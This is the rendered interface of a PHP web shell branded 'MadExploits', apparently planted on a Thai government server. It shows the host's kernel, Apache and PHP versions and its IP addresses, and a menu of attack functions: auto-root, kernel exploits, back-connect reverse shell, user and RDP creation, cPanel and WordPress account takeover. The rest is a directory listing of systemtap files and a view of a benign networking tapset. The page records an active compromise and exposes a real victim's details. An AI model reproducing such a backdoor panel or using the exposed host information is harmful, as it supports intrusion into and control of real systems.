Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
arm64
[ DIR ]
drwxr-xr-x
i386
[ DIR ]
drwxr-xr-x
ia64
[ DIR ]
drwxr-xr-x
powerpc
[ DIR ]
drwxr-xr-x
s390
[ DIR ]
drwxr-xr-x
x86_64
[ DIR ]
drwxr-xr-x
atomic.stp
1.52
KB
-rw-r--r--
aux_syscalls.stp
139.14
KB
-rw-r--r--
context-caller.stp
3.07
KB
-rw-r--r--
context-envvar.stp
1.71
KB
-rw-r--r--
context-symbols.stp
11.98
KB
-rw-r--r--
context-unwind.stp
2.81
KB
-rw-r--r--
context.stp
17.76
KB
-rw-r--r--
context.stpm
125
B
-rw-r--r--
conversions-guru.stp
5.56
KB
-rw-r--r--
conversions.stp
10.92
KB
-rw-r--r--
ctime.stp
5.32
KB
-rw-r--r--
dentry.stp
9.79
KB
-rw-r--r--
dev.stp
1.79
KB
-rw-r--r--
endian.stp
602
B
-rw-r--r--
guru-delay.stp
1.2
KB
-rw-r--r--
guru-signal.stp
1.07
KB
-rw-r--r--
inet.stp
1.42
KB
-rw-r--r--
inet_sock.stp
1.31
KB
-rw-r--r--
ioblock.stp
12.55
KB
-rw-r--r--
ioscheduler.stp
11.74
KB
-rw-r--r--
ip.stp
5.23
KB
-rw-r--r--
ipmib-filter-default.stp
965
B
-rw-r--r--
ipmib.stp
12.55
KB
-rw-r--r--
irq.stp
5
KB
-rw-r--r--
json.stp
8.92
KB
-rw-r--r--
json.stpm
6.11
KB
-rw-r--r--
kprocess.stp
4.38
KB
-rw-r--r--
kretprobe.stp
2.1
KB
-rw-r--r--
linuxmib-filter-default.stp
876
B
-rw-r--r--
linuxmib.stp
3.38
KB
-rw-r--r--
loadavg.stp
1.87
KB
-rw-r--r--
logging.stp
2.08
KB
-rw-r--r--
memory.stp
17.77
KB
-rw-r--r--
nd_syscalls.stp
138.14
KB
-rw-r--r--
nd_syscalls2.stp
161.75
KB
-rw-r--r--
netfilter.stp
31.56
KB
-rw-r--r--
networking.stp
7.17
KB
-rw-r--r--
nfs.stp
37.86
KB
-rw-r--r--
nfs_proc.stp
55.3
KB
-rw-r--r--
nfs_proc.stpm
1.18
KB
-rw-r--r--
nfsd.stp
39.97
KB
-rw-r--r--
nfsderrno.stp
11.7
KB
-rw-r--r--
panic.stp
1.07
KB
-rw-r--r--
perf.stp
4.5
KB
-rw-r--r--
proc_mem.stp
11.49
KB
-rw-r--r--
pstrace.stp
773
B
-rw-r--r--
rcu.stp
917
B
-rw-r--r--
rlimit.stp
1.35
KB
-rw-r--r--
rpc.stp
37.94
KB
-rw-r--r--
scheduler.stp
11.33
KB
-rw-r--r--
scsi.stp
9.46
KB
-rw-r--r--
signal.stp
28.35
KB
-rw-r--r--
socket.stp
33.41
KB
-rw-r--r--
syscalls.stp
136.01
KB
-rw-r--r--
syscalls.stpm
11.28
KB
-rw-r--r--
syscalls2.stp
158.1
KB
-rw-r--r--
syscalls_cfg_trunc.stp
111
B
-rw-r--r--
target_set.stp
1.71
KB
-rw-r--r--
task.stp
19.07
KB
-rw-r--r--
task.stpm
157
B
-rw-r--r--
task_ancestry.stp
1.57
KB
-rw-r--r--
task_time.stp
7.45
KB
-rw-r--r--
tcp.stp
21.98
KB
-rw-r--r--
tcpmib-filter-default.stp
885
B
-rw-r--r--
tcpmib.stp
10.29
KB
-rw-r--r--
timestamp.stp
1.72
KB
-rw-r--r--
timestamp_gtod.stp
1.59
KB
-rw-r--r--
timestamp_monotonic.stp
5.12
KB
-rw-r--r--
tty.stp
7.15
KB
-rw-r--r--
tzinfo.stp
803
B
-rw-r--r--
ucontext-symbols.stp
8.62
KB
-rw-r--r--
ucontext-unwind.stp
3.64
KB
-rw-r--r--
ucontext.stp
2.18
KB
-rw-r--r--
udp.stp
5.73
KB
-rw-r--r--
utrace.stp
1.33
KB
-rw-r--r--
vfs.stp
26.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : networking.stp
// networking tapset // Copyright (C) 2005, 2006 IBM Corp. // // This file is part of systemtap, and is free software. You can // redistribute it and/or modify it under the terms of the GNU General // Public License (GPL); either version 2, or (at your option) any // later version. // <tapsetdescription> // This family of probe points is used to probe the activities of the network device. // </tapsetdescription> /* A function that returns the device name given the net_device struct */ function get_netdev_name:string (addr:long) { return kernel_string(@cast(addr, "net_device")->name) } /** * probe netdev.receive - Data received from network device. * @dev_name: The name of the device. e.g: eth0, ath1. * @length: The length of the receiving buffer. * @protocol: Protocol of received packet. * */ /// <varlistentry><term>protocol</term> /// <listitem><para>The possible values of protocol could be: /// <table frame='all'><title>Protocol Values</title> /// <tgroup cols='2' align='left' colsep='1' rowsep='1'> /// <colspec colname='Value'/> /// <colspec colname='Protocol'/> /// <thead> /// <row><entry>Value(Hex)</entry><entry>Protocol</entry></row> /// </thead> /// <tbody> /// <row><entry>0001</entry><entry>802.3</entry></row> /// <row><entry>0002</entry><entry>AX.25</entry></row> /// <row><entry>0004</entry><entry>802.2</entry></row> /// <row><entry>0005</entry><entry>SNAP</entry></row> /// <row><entry>0009</entry><entry>Localtalk</entry></row> /// <row><entry>0800</entry><entry>IP</entry></row> /// <row><entry>0805</entry><entry>X.25</entry></row> /// <row><entry>0806</entry><entry>ARP</entry></row> /// <row><entry>8035</entry><entry>RARP</entry></row> /// <row><entry>8100</entry><entry>802.1Q VLAN</entry></row> /// <row><entry>8137</entry><entry>IPX</entry></row> /// <row><entry>86DD</entry><entry>IPv6</entry></row> /// </tbody> /// </tgroup> /// </table> /// </para></listitem> /// </varlistentry> /// /// <varlistentry><term>truesize</term> /// <listitem><para> /// The size of the received data. /// </para></listitem> /// </varlistentry> /// /// </variablelist> ///</para> // Main device receive routine, be called when packet arrives on network device probe netdev.receive = kernel.function("netif_receive_skb") { dev_name = kernel_string($skb->dev->name) length = $skb->len protocol = $skb->protocol truesize = $skb->truesize } /** * probe netdev.transmit - Network device transmitting buffer * @dev_name: The name of the device. e.g: eth0, ath1. * @length: The length of the transmit buffer. * @protocol: The protocol of this packet(defined in include/linux/if_ether.h). * @truesize: The size of the data to be transmitted. * */ // Queue a buffer for transmission to a network device probe netdev.transmit = kernel.function("__dev_queue_xmit") !, kernel.function("dev_queue_xmit") { dev_name = kernel_string($skb->dev->name) length = $skb->len protocol = $skb->protocol truesize = $skb->truesize } /** * probe netdev.change_mtu - Called when the netdev MTU is changed * @dev_name: The device that will have the MTU changed * @old_mtu: The current MTU * @new_mtu: The new MTU */ probe netdev.change_mtu = kernel.function("dev_set_mtu") { old_mtu = $dev->mtu new_mtu = $new_mtu dev_name = get_netdev_name($dev) } /** * probe netdev.open - Called when the device is opened * @dev_name: The device that is going to be opened */ probe netdev.open = kernel.function("dev_open") { dev_name = get_netdev_name($dev) } /** * probe netdev.close - Called when the device is closed * @dev_name: The device that is going to be closed */ probe netdev.close = kernel.function("dev_close") { dev_name = get_netdev_name($dev) } /** * probe netdev.hard_transmit - Called when the devices is going to TX (hard) * @dev_name: The device scheduled to transmit * @protocol: The protocol used in the transmission * @length: The length of the transmit buffer. * @truesize: The size of the data to be transmitted. */ probe netdev.hard_transmit = kernel.function("dev_hard_start_xmit") ? { dev_name = get_netdev_name($dev) protocol = @choose_defined($first, $skb)->protocol length = @choose_defined($first, $skb)->len truesize = @choose_defined($first, $skb)->truesize } /** * probe netdev.rx - Called when the device is going to receive a packet * @dev_name: The device received the packet * @protocol: The packet protocol */ probe netdev.rx = kernel.function("netif_rx") { netdev = $skb->dev dev_name = get_netdev_name(netdev) protocol = $skb->protocol } /** * probe netdev.change_rx_flag - Called when the device RX flag will be changed * @dev_name: The device that will be changed * @flags: The new flags */ probe netdev.change_rx_flag = kernel.function("dev_change_rx_flags") ? { dev_name = (@defined($dev) ? get_netdev_name($dev) : "unknown") flags = @choose_defined($flags, 0) } /** * probe netdev.set_promiscuity - Called when the device enters/leaves promiscuity * @dev_name: The device that is entering/leaving promiscuity mode * @enable: If the device is entering promiscuity mode * @disable: If the device is leaving promiscuity mode * @inc: Count the number of promiscuity openers */ probe netdev.set_promiscuity = kernel.function("dev_set_promiscuity") { dev_name = get_netdev_name($dev) if ($inc){ enable = 1 } else { disable = 1 } inc = $inc } /** * probe netdev.ioctl - Called when the device suffers an IOCTL * @cmd: The IOCTL request * @arg: The IOCTL argument (usually the netdev interface) */ probe netdev.ioctl = kernel.function("dev_ioctl") { cmd = $cmd arg = user_string_quoted($arg) } /** * probe netdev.register - Called when the device is registered * @dev_name: The device that is going to be registered */ probe netdev.register = kernel.function("register_netdevice"), kernel.function("register_netdev") { dev_name = get_netdev_name($dev) } /** * probe netdev.unregister - Called when the device is being unregistered * @dev_name: The device that is going to be unregistered */ probe netdev.unregister = kernel.function("unregister_netdev") { dev_name = get_netdev_name($dev) } /** * probe netdev.get_stats - Called when someone asks the device statistics * @dev_name: The device that is going to provide the statistics */ probe netdev.get_stats = kernel.function("dev_get_stats") ? { dev_name = get_netdev_name($dev) } /** * probe netdev.change_mac - Called when the netdev_name has the MAC changed * @dev_name: The device that will have the MAC changed * @mac_len: The MAC length * @old_mac: The current MAC address * @new_mac: The new MAC address */ probe netdev.change_mac = kernel.function("dev_set_mac_address") ? { dev_name = get_netdev_name($dev) mac_len = $dev->addr_len // Old MAC Address old_mac = sprintf("%02x:%02x:%02x:%02x:%02x:%02x", $dev->dev_addr[0], $dev->dev_addr[1], $dev->dev_addr[2], $dev->dev_addr[3], $dev->dev_addr[4], $dev->dev_addr[5]) // New MAC Address new_mac = sprintf("%02x:%02x:%02x:%02x:%02x:%02x", $sa->sa_data[0], $sa->sa_data[1], $sa->sa_data[2], $sa->sa_data[3], $sa->sa_data[4], $sa->sa_data[5]) }
Close